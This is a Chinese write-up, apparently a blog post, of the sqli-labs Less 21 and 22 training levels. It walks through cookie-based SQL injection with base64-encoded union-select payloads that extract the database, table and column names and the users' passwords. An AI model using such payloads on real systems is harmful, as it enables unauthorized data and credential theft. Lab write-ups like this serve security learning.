Less 21
基于错误_Base64编码_单引号_小括号_Cookie注入
这是 Page 2 的第一关即 Less 21,从这篇开始统一了一些语法规范,使提供下载的.md
文件能够更好地在本地 Markdown 编辑器Typora
上显示。
这里稍微推荐一下Typora
,界面挺好看,但是不知道我能不能习惯那个把语法和预览合并了的视图。
还要夸一下简书,提供了下载全部文章的功能,但是必须绑定手机号才能发文章这点让我很头疼。
0x01. 判断注入点
还是正常登陆进去,发现界面和上一关几乎没有差别:
只是uname
那里有一点点区别,这个编码方式也一眼就能看出来是base64
编码,这也不多介绍,CTF 的很多题目都或多或少涉及base64
。
查看本地Cookie
,发现也是base64
编码后存储,说明这关和上一关注入方法是差不多的,只是需要编码一下。
这里顺带悼念一下曾经好用的 base64编解码网站,在我写题时给了我巨大的帮助,特别是解码为十六进制
这个功能,在别的解码网站上并没见到过,不知道怎么就凉了,可能是忘了维护吧。网上在线编解码网站很多,随便用一个就可以。
我倒是忘了Hackbar
编解码挺方便的。
0x02. 注入过程
我们已经知道后台逻辑与 Less 20 相同,需要的只是判断出查询语句。
步骤1:判断查询语句
uname = admin'
base64 = YWRtaW4n
字段就不注入了,直接得出 SQL 语句:
SELECT * FROM table_name WHERE username=('$cookie_uname') LIMIT 0,1
步骤2:数据库名
uname = 1') union select 1,2,database()#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
步骤3:表名
uname = 1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9J3NlY3VyaXR5JyM=
步骤4:字段名
uname = 1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2Vycycj
步骤5:数据
uname = 1') union select 1,2,group_concat(concat_ws('-',id,username,password)) from users#
base64 = MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbmNhdF93cygnLScsaWQsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHVzZXJzIw==
0x03. 吐槽
还是挺简单的嘛。
不知道从什么时候起文件名啊什么的不喜欢用空格,还是有空格好看啊。
发现发布完文章可以向专题投稿,懒得做这种事,不过前天 Less 17 被《我爱编程》收录了也是很惊讶。
Less 22
基于错误_Base64编码_双引号_Cookie注入
不知道为啥总喜欢把改了个括号的单独做成一关,是为了提醒判断 SQL 语句很重要么。
这关把单引号加小括号换成了双引号,除此之外没有任何区别。